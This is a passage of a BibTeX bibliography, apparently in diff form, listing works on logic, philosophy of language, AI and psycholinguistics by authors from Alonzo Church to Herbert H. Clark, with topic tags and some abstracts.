church_a:1957a, + author = {Alonzo Church}, + title = {Review of {\em Introduction to Logic}, by {P}atrick + {S}uppes}, + journal = {Science}, + year = {1957}, + volume = {126}, + number = {3285}, + pages = {1250--1251}, + month = {December}, + xref = {Review of suppes:1957a.}, + topic = {logic-intro;} + } + +@article{ church_a:1958a, + author = {Alonzo Church}, + title = {Symposium: Ontological Commitment}, + journal = {The Journal of Philosophy}, + year = {1958}, + volume = {40}, + number = {23}, + pages = {1008--1014}, + topic = {ontological-commitment;} + } + +@article{ church_a:1958b, + author = {Alonzo Church}, + title = {Logic and Analysis}, + journal = {Atti del {XII} Congresso Internazionale di Filosofia, + Venezia, 12-18 September, 1958}, + year = {1958}, + volume = {4}, + pages = {78--81}, + topic = {intensionality;} + } + +@inproceedings{ church_a:1962a, + author = {Alonzo Church}, + title = {Logic, Arithmetic and Automata}, + booktitle = {Proceedings of the International Congress of + Mathematicians}, + year = {1962}, + pages = {23--35}, + missinginfo = {editor, publisher, address}, + topic = {history-of-computer-science;automata-theory;recursion-theory;} + } + +@inproceedings{ church_a:1964a, + author = {Alonzo Church}, + title = {A History of the Question of Existential Import of + Categorial Propositions}, + booktitle = {International Congress for Logic, Methodology and + Philosophy of Science}, + publisher = {North-Holland Publishing Company}, + year = {1964}, + pages = {789--811}, + address = {Amsterdam}, + topic = {(non)existence;history-of-logic;} + } + +@incollection{ church_a:1968a, + author = {Alonzo Church}, + title = {Paul {J}. {C}ohen and the Continuum Hypothesis}, + booktitle = {Proceedings of International Congress of Mathematicians}, + year = {1968}, + missinginfo = {Editor, publisher, pages, address.}, + topic = {continuum-hypothesis;set-theory;} + } + +@unpublished{ church_a:1970a, + author = {Alonzo Church}, + title = {Intensionality and the Paradox of the Name Relation}, + year = {1970}, + note = {Unpublished manuscript, UCLA.}, + missinginfo = {Date is a guess.}, + topic = {Frege;Russell;proper-names;intensionalty;reference;} + } + +@article{ church_a:1973a, + author = {Alonzo Church}, + title = {Outline of a Revised Formulation of the Logic of + Sense and Denotation (Part {I})}, + journal = {No\^us}, + year = {1973}, + volume = {7}, + number = {1}, + pages = {24--33}, + topic = {logic-of-sense-and-denotation;Frege;} + } + +@article{ church_a:1974a, + author = {Alonzo Church}, + title = {Outline of a Revised Formulation of the Logic of + Sense and Denotation (Part {II})}, + journal = {No\^us}, + year = {1974}, + volume = {8}, + pages = {135--156}, + topic = {logic-of-sense-and-denotation;Frege;} + } + +@article{ church_a:1976a, + author = {Alonzo Church}, + title = {Comparison of {R}ussell's Resolution of the Semantical + Antinomies with that of {T}arski}, + journal = {Journal of Symbolic Logic}, + year = {1976}, + volume = {41}, + pages = {747--760}, + missinginfo = {number}, + topic = {Russell;Tarski;ramified-type-theory;semantic-paradoxes;} + } + +@unpublished{ church_a:1980a, + author = {Alonzo Church}, + title = {The Principle of Individuation for Propositions in the + Logic of Principia Mathematica}, + year = {1980}, + note = {Abstract of a Lecture Given at the University of Wisconsin, + May 2, 1980}, + topic = {ramified-type-theory;propositions;} + } + +@unpublished{ church_a:1981a, + author = {Alonzo Church}, + title = {Axioms for Functional Calculi of Higher Order}, + year = {1981}, + note = {Unpublished Manuscript, University of California at + Los Angeles}, + missinginfo = {Date is a wild guess.}, + topic = {higher-order-logic;} + } + +@unpublished{ church_a:1981b, + author = {Alonzo Church}, + title = {Outline of a Revised Version of the Logic of + Sense and Denotation}, + year = {1981}, + note = {Unpublished Manuscript, University of California at + Los Angeles}, + missinginfo = {Date is a wild guess.}, + topic = {Frege;logic-of-sense-and-denotation;} + } + +@unpublished{ church_a:1981c, + author = {Alonzo Church}, + title = {Russellian Simple Type Theory}, + year = {1981}, + note = {Unpublished Manuscript, University of California at + Los Angeles}, + missinginfo = {Date is a wild guess.}, + topic = {higher-order-logic;Russell;} + } + +@unpublished{ church_a:1981d, + author = {Alonzo Church}, + title = {A Revised Version of the Logic of + Sense and Denotation. Alternative (1).}, + year = {1981}, + note = {Unpublished Manuscript, University of California at + Los Angeles}, + missinginfo = {Date is a wild guess.}, + topic = {Frege;logic-of-sense-and-denotation;} + } + +@unpublished{ church_a:1984a, + author = {Alonzo Church}, + title = {Russell's Theory of Identity Propositions}, + year = {1984}, + note = {Unpublished Manuscript, University of California at + Los Angeles}, + missinginfo = {Date is a wild guess.}, + topic = {Russell;propositions;} + } + +@mastersthesis{ church_kw:1980a, + author = {Kenneth W. Church}, + title = {On Memory Limitations in Natural Language Processing}, + school = {Electrical Engineering and Computer Science}, + year = {1980}, + type = {Ph.{D}. Dissertation}, + address = {Cambridge, Massachusetts}, + topic = {parsing-algorithms;} + } + +@incollection{ church_kw-etal:1981a, + author = {Kenneth W. Church and William Gale and Patrick Hanks and + Donald Hindle}, + title = {Parsing, Word Association, and + Typical Predicate-Argument Relations}, + booktitle = {Current Issues in Parsing Technology}, + publisher = {Kluwer Academic Publishers}, + year = {1981}, + editor = {Masaru Tomita}, + pages = {103--112}, + address = {Dordrecht}, + topic = {parsing-algorithms;} + } + +@book{ church_kw:1983a, + author = {Kenneth W. Church}, + title = {Phrase-Structure Parsing: A Method for Taking Advantage of + Allophonic Constraints}, + publisher = {Indiana University Linguistics Club}, + year = {1983}, + address = {310 Lindley Hall, Indiana University, Bloomington, + Indiana 46405}, + topic = {speech-recognition;} + } + +@article{ church_kw-gale_wa:1991a, + author = {Kenneth W. Church and William Gale}, + title = {A Comparison of the Enhanced {G}ood-{T}uring and + Deleted Estimation Methods for Estimating Probabilities + of {E}nglish Bigrams}, + journal = {Computer Speech and Language}, + year = {1991}, + volume = {5}, + pages = {19--54}, + missinginfo = {number}, + topic = {statistical-nlp;frequency-estimation;} + } + +@inproceedings{ church_kw-gale:1995a, + author = {Kenneth W. Church and William A. Gale}, + title = {Inverse Document Frequency (IDF): + A Measure of Deviations from {P}oisson}, + booktitle = {Proceedings of the Third Workshop on Very + Large Corpora}, + year = {1995}, + editor = {David Yarovsky and Kenneth Church}, + pages = {121--130}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Somerset, New Jersey}, + topic = {corpus-linguistics;corpus-statistics;} + } + +@incollection{ churcher-etal:1997a, + author = {Gavin E. Churcher and Eric S. Atwell and Clive + Souter}, + title = {A Generic Template to Evaluate Integrated + Components in Spoken Dialogue Systems}, + booktitle = {Interactive Spoken Dialog Systems: Bridging + Speech and {NLP} Together in Real Applications}, + publisher = {Association for Computational Linguistics}, + year = {1997}, + editor = {Julia Hirschberg and Candace Kamm and Marilyn Walker}, + pages = {9--16}, + address = {New Brunswick, New Jersey}, + topic = {computational-dialogue;nlp-evaluation;} + } + +@book{ churchland_cs-sejnowski:1992a, + author = {Patricia S. Churchland and Terrence J. Sejnowski}, + title = {The Computational Brain}, + publisher = {Cambridge, Mass.: MIT Press}, + year = {1992}, + address = {Cambridge}, + ISBN = {0262031884}, + xref = {Review: reeke:1996a.}, + topic = {foundations-of-cognitive-science;connectionism;} +} + +@incollection{ churchland_pm:1989a, + author = {Paul M. Churchland}, + title = {Folk Psychology and the Explanation + of Human Behavior}, + booktitle = {Philosophical Perspectives 3: + Philosophy of Mind and Action Theory}, + publisher = {Ridgeview Publishing Company}, + year = {1989}, + editor = {James E. Tomberlin}, + pages = {225--241}, + address = {Atasacadero, California}, + note = {Also available at http://www.jstor.org/journals/.}, + topic = {folk-psychology;foundations-of-cognitive-science;} + } + +@incollection{ cicekli-korkmaz:1998a, + author = {Ilyas Cicekli and Turgay Korkmaz}, + title = {Generation of Simple {T}urkish Sentences with + Systemic-Functional Grammar}, + booktitle = {Proceedings of the Joint Conference on New Methods in + Language Processing and Computational Language Learning}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Jill Burstein and Claudia Leacock}, + pages = {165--173}, + address = {Somerset, New Jersey}, + topic = {nl-generation;systemic-grammar;Turkish-language;} + } + +@article{ cichowsz:1995a, + author = {Pawel Cicocz}, + title = {Truncating Temporal Differences: On the Efficient + Implementation of TD($\lambda$) for Reinforcement Learning}, + journal = {Journal of Artificial Intelligence Research}, + year = {1995}, + volume = {2}, + pages = {287--318}, + topic = {machine-learning;} + } + +@techreport{ cimati-serafini:1993a1, + author = {Alessandro Cimatti and Luciano Serafini}, + title = {Multiagent Reasoning with Belief Contexts: The Approach + and a Case Study}, + institution = {Istituto per la Ricerca Scientifica e Tecnologica}, + number = {9312--01}, + year = {1993}, + address = {Trento}, + xref = {Conference Publication: cimati-serafini:1993a2.}, + topic = {reasoning-about-knowledge;epistemic-logic;context;} + } + +@incollection{ cimati-serafini:1993a2, + author = {Alessandro Cimatti and Luciano Serafini}, + title = {Multiagent Reasoning with Belief Contexts: The Approach + and a Case Study}, + booktitle = {Intelligent Agents: Proceedings of the + 1994 Workshop on Agent Theories, Architectures, and + Languages (ATAL--94)}, + publisher = {Springer-Verlag}, + year = {1995}, + editor = {Michael J. Wooldrige and Nicholas R. Jennings}, + pages = {71--85}, + address = {Berlin}, + xref = {Technical Report: cimati-serafini:1993a1.}, + topic = {reasoning-about-knowledge;epistemic-logic;context;} + } + +@techreport{ cimati-serafini:1994a1, + author = {Alessandro Cimatti and Luciano Serafini}, + title = {Multiagent Reasoning with Belief Contexts {II}: Elaboration + Tolerance}, + institution = {Istituto per la Ricerca Scientifica e Tecnologica}, + number = {9412--09}, + year = {1994}, + address = {Trento}, + xref = {Conference Publication: cimati-serafini:1994a2.}, + topic = {reasoning-about-knowledge;epistemic-logic;context;} + } + +@inproceedings{ cimatti-serafini:1994a2, + author = {Alessandro Cimatti and Luciano Serafini}, + title = {Multi-Agent Reasoning with Belief Contexts {II}: + Elaboration Tolerance}, + booktitle = {Proceedings of the First International Conference on + Multi-Agent Systems ({ICMAS}-95)}, + pages = {57--64}, + note = {Also IRST-Technical Report 9412-09, IRST, Trento, Italy. + {\em Commonsense-96}, Third Symposium on Logical + Formalizations of Commonsense Reasoning, Stanford + University, 1996}, + year = {1996}, + xref = {Technical Report: cimati-serafini:1994a1.}, + topic = {context;epistemic-logic;context;} + } + +@incollection{ cimatti-serafini:2000a, + author = {Alessandro Cimatti and Luciano Serafini}, + title = {A Context-Based Mechanization of Multi-Agent Reasoning}, + booktitle = {Formal Aspects of Context}, + publisher = {Kluwer Academic Publishers}, + year = {2000}, + editor = {Pierre Bonzon and Marcos Cavalcanti and Rolf Nossum}, + pages = {65--83}, + address = {Dordrecht}, + topic = {context;contextual-reasoning;mutual-beliefs;multimodal-logic;} + } + +@inproceedings{ ciocoiu-nau:2000a, + author = {Mihai Ciocoiu and Dana S. Nau}, + title = {Ontology-Based Semantics}, + booktitle = {{KR}2000: Principles of Knowledge Representation and + Reasoning}, + year = {2000}, + editor = {Anthony G. Cohn and Fausto Giunchiglia and Bart Selman}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + pages = {539--546}, + topic = {computational-ontology;knowledge-integration;} + } + +@incollection{ ciorba:1996a, + author = {Viorica Ciorba}, + title = {A Query Answering Algorithm for + {L}ukaszewicz' General Open Default Theory}, + booktitle = {Logics in Artificial Intelligence: European Workshop, + {Jelia}'96, Ivora, Portugal, September 30 - October 3, + 1996.}, + publisher = {Springer-Verlag}, + year = {1996}, + editor = {Jos\'e J\'ulio Alferes and Lu\'is Moniz Pereira and Ewa Orlowska}, + pages = {208--223}, + address = {Berlin}, + topic = {default-logic;default-reasoning;nonmonotonic-reasoning-algorithms;} + } + +@article{ cipria-roberts:2000a, + author = {Alicia Cipria and Craige Roberts}, + title = {Spanish {\em Imperfecto} and {\em Pr\'eterito}: + Truth Conditions and {A}ktionsart Effects + in a Situation Semantics}, + journal = {Natural Language Semantics}, + year = {2000}, + volume = {8}, + number = {4}, + pages = {297--347}, + topic = {Spanish-language;situation-semantics;Aktionsarten; + tense-aspect;} + } + +@incollection{ ciskowski:2001a, + author = {Piotr Ciskowski}, + title = {{VC}-Dimension of a Context-Dependent Perceptron}, + booktitle = {Modeling and Using Context}, + publisher = {Springer-Verlag}, + year = {2001}, + editor = {Varol Akman and Paolo Bouquet and Richmond Thomason + and Roger A. Young}, + pages = {429--432}, + address = {Berlin}, + topic = {context;connetionist-models;} + } + +@article{ clancey:1983a, + author = {William J. Clancey}, + title = {The Epistemology of a Rule-Based Expert System: a + Framework for Explanation}, + journal = {Artificial Intelligence}, + year = {1983}, + volume = {20}, + number = {3}, + pages = {215--251}, + xref = {Commentary: clancey:1993b.}, + topic = {kr;explanation;kr-course;} + } + +@article{ clancey:1985a, + author = {William J. Clancey}, + title = {Heuristic Classification}, + journal = {Artificial Intelligence}, + year = {1985}, + volume = {27}, + number = {3}, + pages = {285--350}, + xref = {Commentary: clancey:1993a.}, + acontentnote = {Abstract: + A broad range of well-structured problems -- embracing forms of + diagnosis, catalog selection, and skeletal planning -- are solved + in `expert systems' by the methods of heuristic classification. + These programs have a characteristic inference structure that + systematically relates data to a pre-enumerated set of solutions + by abstraction, heuristic association, and refinement. In + contrast with previous descriptions of classification reasoning, + particularly in psychology, this analysis emphasizes the role of + a heuristic in routine problem solving as a non-hierarchical, + direct association between concepts. In contrast with other + descriptions of expert systems, this analysis specifies the + knowledge needed to solve a problem, independent of its + representation in a particular computer language. The heuristic + classification problem-solving model provides a useful framework + for characterizing kinds of problems, for designing + representation tools, and for understanding non-classification + (constructive) problem-solving methods.}, + topic = {kr;foundations-of-knowledge-engineering;problem-solving; + expert-systems;kr-course;heuristics;} + } + +@article{ clancey:1985b, + author = {William J. Clancey}, + title = {Review of {\it Conceptual Structures: Information + Processing in Mind and Machine}, by {J}ohn {F}. {S}owa}, + journal = {Artificial Intelligence}, + year = {1985}, + volume = {27}, + number = {1}, + pages = {113--124}, + topic = {kr;cognitive-semantics;visual-reasoning;} + } + +@article{ clancey-soloway:1990a, + author = {William J. Clancey and Elliot Soloway}, + title = {Artificial Intelligence and Learning Environments: + Preface}, + journal = {Artificial Intelligence}, + year = {1990}, + volume = {42}, + number = {1}, + pages = {1--6}, + topic = {intelligent-tutoring;} + } + +@article{ clancey:1992a, + author = {William J. Clancey}, + title = {Model Construction Operators}, + journal = {Artificial Intelligence}, + year = {1992}, + volume = {53}, + number = {2--3}, + pages = {1--115}, + acontentnote = {Abstract: Expert systems can be viewed as programs + that construct a model of somesystem in the world so that it can + be assembled, repaired, controlled, etc.In contrast with most + conventional computer programs, these models representprocesses + and structures by relational networks. Control knowledge + forconstructing such a model can be described as operators that + construct agraph linking processes and structures causally, + temporally, spatially, bysubtype, etc. From this perspective, we + find that the terminology ofblackboard expert systems is not + specific to a particular set of programs,but is rather a + valuable perspective for understanding what every expertsystem + is doing.This paper reviews different ways of describing expert + system reasoning,emphasizing the use of simple logic, set, and + graph notations for makingdimensional analyses of modeling + languages and inference methods. The practical question is, how + can we systematically develop knowledgeacquisition tools that + capture general knowledge about types of domains andmodeling + methods? Examples of modeling operators from ABEL, + CADUCEUS,NEOMYCIN, HASP, and ACCORD demonstrate how diverse + expert system approachescan be explained and integrated by the + model construction perspective. Reworked examples from TEIRESIAS, + XPLAIN, and KNACK illustrate how to writemetarules without using + domain-specific terms, thus making explicit theirmodel + construction nature. Generalizing from these observations, we + combinethe system-model and operator viewpoints to describe the + representation ofprocesses in AI programs in terms of three + nested levels of domain,inference, and communication modeling. + This synthesis reveals how the use ofrelational networks in + computer programs has evolved from programmerdescriptions of + computational processes (such as flowcharts and + dataflowdiagrams) to network representations that are + constructed and manipulated by the programs themselves. + } , + topic = {expert-systems;domain-modeling;knowledge-acquisition;} + } + +@article{ clancey:1993a, + author = {William J. Clancey}, + title = {Notes on `Heuristic Classification'}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {59}, + number = {1--2}, + pages = {191--196}, + xref = {Commentary on clancey:1985a.}, + topic = {kr;foundations-of-knowledge-engineering;expert-systems; + kr-course;} + } + +@article{ clancey:1993b, + author = {William J. Clancey}, + title = {Notes on `Epistemology of a Rule-Based System'}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {59}, + number = {1--2}, + pages = {197--204}, + xref = {Commentary on: clancey:1983a.}, + topic = {kr;explanation;kr-course;} + } + +@article{ clancy:1972a, + author = {Patricia Clancy}, + title = {Analysis of a Conversation}, + journal = {Anthropological Linguistics}, + year = {1972}, + volume = {14}, + number = {3}, + pages = {78--86}, + topic = {conversation-analysis;discourse;pragmatics;} + } + +@article{ clapp:1995a, + author = {Leonard Clapp}, + title = {How to Be Direct and Innocent: A Criticism of {C}rimmins and + {P}erry's Theory of Attitude Ascriptions}, + journal = {Linguistics and Philosophy}, + year = {1995}, + volume = {18}, + number = {5}, + pages = {529--565}, + topic = {propositional-attitudes;philosophy-of-language;} + } + +@article{ clapp:2001a, + author = {Lenny Clapp}, + title = {Disjuctive Properties, Multiple Realizations}, + journal = {The Journal of Philosophy}, + year = {2000}, + volume = {98}, + number = {3}, + pages = {111--136}, + topic = {mind-body-problem;disjunctive-properties;} + } + +@incollection{ clark-haviland:1974a, + author = {Herbert H. Clark and Susan E. Haviland}, + title = {Psychological Processes as Linguistic Explanation}, + booktitle = {Explaining Linguistic Phenomena}, + publisher = {Hemisphere Publishing Corp.}, + year = {1974}, + editor = {David Cohen}, + pages = {91--124}, + address = {Washington, DC}, + topic = {philosophy-of-linguistics;linguistics-methodology; + explanation;given-new;} + } + +@book{ clark_a1-toribio:1986a, + editor = {Andy Clark and Josefa Toribio}, + title = {Uncertainty in Artificial Intelligence, {V}olume 1}, + publisher = {Elsevier Science Publishers}, + year = {1986}, + address = {Amsterdam}, + topic = {uncertainty-in-AI;} + } + +@book{ clark_a1-toribio:1988a, + editor = {Andy Clark and Josefa Toribio}, + title = {Uncertainty in Artificial Intelligence, {V}olume 2}, + publisher = {Elsevier Science Publishers}, + year = {1988}, + address = {Amsterdam}, + topic = {uncertainty-in-AI;} + } + +@book{ clark_a1-toribio:1989a, + editor = {Andy Clark and Josefa Toribio}, + title = {Uncertainty in Artificial Intelligence, {V}olume 3}, + publisher = {Elsevier Science Publishers}, + year = {1989}, + address = {Amsterdam}, + topic = {uncertainty-in-AI;} + } + +@book{ clark_a1-toribio:1990a, + editor = {Andy Clark and Josefa Toribio}, + title = {Uncertainty in Artificial Intelligence, {V}olume 4}, + publisher = {Elsevier Science Publishers}, + year = {1990}, + address = {Amsterdam}, + topic = {uncertainty-in-AI;} + } + +@book{ clark_a1-toribio:1990b, + editor = {Andy Clark and Josefa Toribio}, + title = {Uncertainty in Artificial Intelligence, {V}olume 5}, + publisher = {Elsevier Science Publishers}, + year = {1990}, + address = {Amsterdam}, + topic = {uncertainty-in-AI;} + } + +@book{ clark_a1-toribio:1991a, + editor = {Andy Clark and Josefa Toribio}, + title = {Uncertainty in Artificial Intelligence, {V}olume 6}, + publisher = {Elsevier Science Publishers}, + year = {1991}, + address = {Amsterdam}, + topic = {uncertainty-in-AI;} + } + +@book{ clark_a1-etal:1996a, + editor = {Andy Clark and Jes\'us Ezquerro and Jes\'us M. Larrazabal}, + title = {Philosophy and Cognitive Science}, + publisher = {Kluwer Academic Publishers}, + year = {1996}, + address = {Dordrecht}, + topic = {cognitive-science-general;} + } + +@article{ clark_a1:1998a, + author = {Andy Clark}, + title = {Time and Mind}, + journal = {The Journal of Philosophy}, + year = {1998}, + volume = {95}, + number = {7}, + pages = {354--376}, + xref = {A reply to vangelder_t:1995a.}, + topic = {foundations-of-cognition;} + } + +@book{ clark_a1-toribio:1998d, + editor = {Andy Clark and Josefa Toribio}, + title = {Machine Intelligence: Perspectives on the Computational Model}, + Publisher = {Garland Publishing}, + year = {1998}, + address = {New York}, + ISBN = {0815327684}, + contentnote = {TC: + 1. A.M. Turing , "Computing Machinery and Intelligence" + 2. John Haugeland, "Semantic Engines: An Introduction to Mind + Design" + 3. John R. Searle, "Mind, brains, and programs" + 4. Stevan Harnad, "Symbol Grounding Problem" + 5. Paul M. Churchland and Patricia Smith Churchland, "Could a + Machine Think?" + 6. David J. Chalmers, "On Implementing a Computation" + 7. Allen Newell, "You Can't Play 20 Questions with + Nature and Win: Projective Comments on the Papers of + this Symposium" + 8. David Marr, "Artificial Intelligence: A Personal View" + 9. George N. Reeke, Jr. and Gerald M. Edelman, "Real Brains and + Artificial Intelligence" + 10. Hubert L. Dreyfus and Stuart E. Dreyfus, "Making a Mind + Versus Modeling the Brain: Artificial Intelligence + Back at a Branchpoint" + 11. David Israel and John Perry, "What Is Information?" + 12. David Kirsh, "When is Information Explicitly Represented?" + 13. Fred Dretske, "Machines and the mental", pp. + 14. Daniel C. Dennett. "Ways of Establishing Harmony" + } , + topic = {foundations-of-cogsci;} + } + +@book{ clark_a1-toribo:1998a, + editor = {Andy Clark and Josefa Toribo}, + title = {Artificial Intelligence and Cognitive Science: Machine + Intelligence}, + publisher = {Garland Publishing}, + year = {1998}, + volume = {1}, + address = {Levittown, Pennsylvania}, + ISBN = {0815327684}, + topic = {cognitive-science-survey;philosophy-AI;AI-survey;} + } + +@book{ clark_a1-toribo:1998b, + editor = {Andy Clark and Josefa Toribo}, + title = {Artificial Intelligence and Cognitive Science: Cognitive + Architectures in Artificial Intelligence}, + publisher = {Garland Publishing}, + year = {1998}, + volume = {2}, + address = {Levittown, Pennsylvania}, + topic = {cognitive-science-survey;cognitive-architectures;} + } + +@book{ clark_a1-toribo:1998c, + editor = {Andy Clark and Josefa Toribo}, + title = {Artificial Intelligence and Cognitive Science: Consciousness + and Emotion in Cognitive Science}, + publisher = {Garland Publishing}, + year = {1998}, + volume = {3}, + address = {Levittown, Pennsylvania}, + topic = {cognitive-science-survey;consciousness;emotion;} + } + +@book{ clark_a1-toribo:1998d, + editor = {Andy Clark and Josefa Toribo}, + title = {Artificial Intelligence and Cognitive Science: Language + and Meaning in Cognitive Science}, + publisher = {Garland Publishing}, + year = {1998}, + volume = {4}, + address = {Levittown, Pennsylvania}, + topic = {cognitive-science-survey;philosophy-of-language;} + } + +@incollection{ clark_a2:2000a, + author = {Alexander Clark}, + title = {Inducing Syntactic Categories by Context + Distribution Clustering}, + booktitle = {Proceedings of the Fourth Conference on Computational + Natural Language Learning and of the Second Learning Language + in Logic Workshop, {L}isbon, 2000}, + publisher = {Association for Computational Linguistics}, + year = {2000}, + editor = {Claire Cardie and Walter Daelemans and Claire N\'edellec + and Erik Tjong Kim Sang}, + pages = {91--94}, + address = {Somerset, New Jersey}, + topic = {machine-language-learning;syntactic-categories;grammar-learning;} + } + +@article{ clark_b:1993a, + author = {Billy Clark}, + title = {Relevance and `Pseudo-Imperatives'}, + journal = {Linguistics and Philosophy}, + year = {1993}, + volume = {16}, + number = {1}, + pages = {79--121}, + topic = {indirect-speech-acts;pseudo-imperatives;} + } + +@incollection{ clark_hh-haviland_s:1974a, + author = {Herbert H. Clark and S. Haviland}, + title = {Comprehension and the Given-New Contract}, + booktitle = {Discourse Production and Comprehension}, + publisher = {Lawrence Erlbaum Associates}, + year = {1974}, + editor = {R. Freedle}, + pages = {1--40}, + address = {Mahwah, New Jersey}, + missinginfo = {A's 1st name}, + topic = {given-new;discourse;pragmatics;psychology-of-discourse;} + } + +@incollection{ clark_hh:1975a, + author = {Herbert H. Clark}, + title = {Bridging}, + booktitle = {Theoretical Issues in Natural Language Processing}, + publisher = {The {MIT} Press}, + year = {1975}, + editor = {Roger Schank and Bonnie Nash-Webber}, + address = {Cambridge, Massachusetts}, + missinginfo = {pages}, + topic = {definite-descriptions;discourse;discourse-structure; + nm-ling;pragmatics;bridging-anaphora;} + } + +@article{ clark_hh-lucy:1975a, + author = {Herbert H. Clark and P. Lucy}, + title = {Understanding What is Meant From What is Said: A Study in + Conversationally Conveyed Requests}, + journal = {Journal of Verbal Learning and Verbal Behavior}, + year = {1975}, + volume = {14}, + pages = {56--72}, + missinginfo = {A's 1st name, number}, + topic = {speech-acts;speaker-meaning;pragmatics;psychology-of-discourse;} + } + +@book{ clark_hh-clark_e:1977a, + author = {Herbert H. Clark and Eve Clark}, + title = {Psychology and Language, an Introduction to + Psycholinguistics}, + publisher = {Harcourt Brace Jovanovich}, + year = {1977}, + address = {New York}, + xref = {Review: dahl_o-linell:1980a.}, + topic = {psycholinguistics;} + } + +@article{ clark_hh:1979a, + author = {Herbert H. Clark}, + title = {Responding to Indirect Speech Acts}, + journal = {Cognitive Psychology}, + year = {1979}, + volume = {11}, + pages = {430--477}, + missinginfo = {number}, + topic = {indirect-speech-acts;pragmatics;psychology-of-discourse;} + } + +@incollection{ clark_hh-marshall:1981a, + author = {Herbert H. Clark and Catherine R. Marshall}, + title = {Definite Reference and Mutual Knowledge}, + booktitle = {Elements of Discourse Understanding}, + publisher = {Cambridge University Press}, + year = {1981}, + editor = {Arivind Joshi and Bonnie Webber and Ivan Sag}, + pages = {10--63}, + address = {Cambridge, England}, + xref = {Revised version in clark:1992a.}, + topic = {reference;discourse;mutual-belief;pragmatics; + psychology-of-discourse;} + } + +@incollection{ clark_hh-carlson:1982a, + author = {Herbert H. Clark and Thomas B. Carlson}, + title = {Speech Acts and Hearer's Beliefs}, + booktitle = {Mutual Knowledge}, + publisher = {Academic Press}, + year = {1982}, + pages = {1--36}, + address = {London}, + xref = {Revised version in clark:1992a.}, + topic = {discourse;mutual-beliefs;pragmatics;psychology-of-discourse;} + } + +@article{ clark_hh-carlson:1982b, + author = {Herbert H. Clark and Thomas B. Carlson}, + title = {Hearers and Speech Acts}, + journal = {Language}, + year = {1982}, + volume = {58}, + pages = {332--373}, + missinginfo = {number}, + xref = {Republished in clark_hh:1992a.}, + topic = {speech-acts;discourse;participant-roles;psychology-of-discourse;} + } + +@incollection{ clark_hh:1983a, + author = {Herbert H. Clark}, + title = {Making Sense of Nonce Sense}, + booktitle = {The Process of Language Understanding}, + publisher = {John Wiley and Sons}, + year = {1983}, + editor = {G.B. Flores d'Arcais and R.J. Jarvella}, + pages = {297--331}, + address = {London}, + xref = {Republished in clark_hh:1992a.}, + topic = {nonce-sense;pragmatics;psychology-of-discourse;} + } + +@article{ clark_hh-etal:1983a, + author = {Herbert H. CLark and R. Schreuder and S. Buttrick}, + title = {Common Ground and the Understanding of Demonstrative + Utterance}, + journal = {Journal of Verbal Learning and Verbal Behavior}, + year = {1983}, + volume = {22}, + pages = {245--258}, + missinginfo = {A's 1st name, number}, + xref = {Republished in clark_hh:1992a.}, + topic = {reference;discourse;mutual-belief;pragmatics; + deixis;demonstratives;conversational-record;psychology-of-discourse;} + } + +@article{ clark_hh-gerrig:1983a, + author = {Herbert H. Clark and R.J. Gerrig}, + title = {Understanding Old Words with New Meanings}, + journal = {Journal of Verbal Learning and Verbal Behavior}, + year = {1983}, + volume = {22}, + pages = {591--608}, + missinginfo = {A's 1st name, number}, + topic = {nonce-sense;semantic-change;psychology-of-discourse;} + } + +@article{ clark_hh-gerrig:1984a, + author = {Herbert H. Clark and R.J. Gerrig}, + title = {On the Pretense of Irony}, + journal = {Journal of Experimental Psychology: General}, + year = {1984}, + volume = {113}, + number = {1}, + pages = {121--126}, + topic = {irony;cognitive-psychology;psychology-of-discourse;} + } + +@article{ clark_hh-wilkesgibbs:1986a, + author = {Herbert H. Clark and D. Wilkes-Gibbs}, + title = {Referring as a Collaborative Process}, + journal = {Cognition}, + year = {1986}, + volume = {22}, + pages = {1--39}, + missinginfo = {A's 1st name, number}, + topic = {reference;collaboration;discourse;pragmatics; + psychology-of-discourse;} + } + +@article{ clark_hh:1987a, + author = {Herbert H. Clark}, + title = {Relevant to What?}, + journal = {Behavioral and Brain Sciences}, + year = {1987}, + volume = {10}, + pages = {714--715}, + missinginfo = {number}, + topic = {implicature;relevance;psychology-of-discourse;} + } + +@article{ clark_hh-schaefer:1987a, + author = {Herbert H. Clark and Edward F. Schaefer}, + title = {Concealing One's Meaning from Overhearers}, + journal = {Journal of Memory and Language}, + year = {1987}, + volume = {26}, + pages = {209--225}, + missinginfo = {number}, + xref = {Republished in clark_hh:1992a.}, + topic = {discourse;collaboration;pragmatics;participant-roles; + psychology-of-discourse;} + } + +@article{ clark_hh-schaefer:1989a, + author = {Herbert H. Clark and Edward F. Schaefer}, + title = {Contributing to Discourse}, + journal = {Cognitive Science}, + year = {1989}, + volume = {13}, + pages = {259--294}, + missinginfo = {number}, + xref = {Republished in clark_hh:1992a.}, + topic = {discourse;collaboration;pragmatics;psychology-of-discourse;} + } + +@article{ clark_hh-schober:1989a, + author = {Herbert H. Clark and Michael Schober}, + title = {Understanding by Addressees and Overhearers}, + journal = {Cognitive Psychology}, + year = {1989}, + volume = {21}, + pages = {211--232}, + missinginfo = {number}, + xref = {Republished in clark_hh:1992a.}, + topic = {discourse;collaboration;pragmatics;participant-roles; + psychology-of-discourse;} + } + +@incollection{ clark_hh:1991b, + author = {Herbert H. CLark}, + title = {Words, the World, and Their Possibilities}, + booktitle = {The Perception of Structure}, + publisher = {Americal Psychological Association}, + year = {1991}, + editor = {Gregory R. Lockhead and James R. Pomerantz}, + address = {Washington, {DC}}, + xref = {Republished in clark_hh:1992a.}, + topic = {lexical-semantics;context;} + } + +@incollection{ clark_hh-brennan:1991a, + author = {Herbert H. Clark and Susan E. Brennan}, + title = {Grounding in Communication}, + booktitle = {Perspectives on Socially Shared Cognition}, + publisher = {American Psychological Association}, + year = {1991}, + editor = {Lauren B. Resnick and John M. Levine and + Stephanie D. Teasley}, + pages = {127--149}, + address = {Washington, D.C.}, + topic = {social-psychology;shared-cognition;psychology-of-discourse;} + } + +@book{ clark_hh:1992a, + author = {Herbert Clark}, + title = {Arenas of Language Use}, + publisher = {University of Chicago Press}, + year = {1992}, + address = {Chicago}, + contentnote = {TC: + 1. "Definite Reference and Mutual Knowledge" + 2. "Context for Comprehension" + 3. "Common Ground and the Understanding of Demonstrative + Reference" + 4. "Referring as a Collaborative Process" + 5. "Contributing to Discourse" + 6. "Understanding by Addressees and Overhearers" + 7. "Hearers and Speech Acts" + 8. "Dealing with 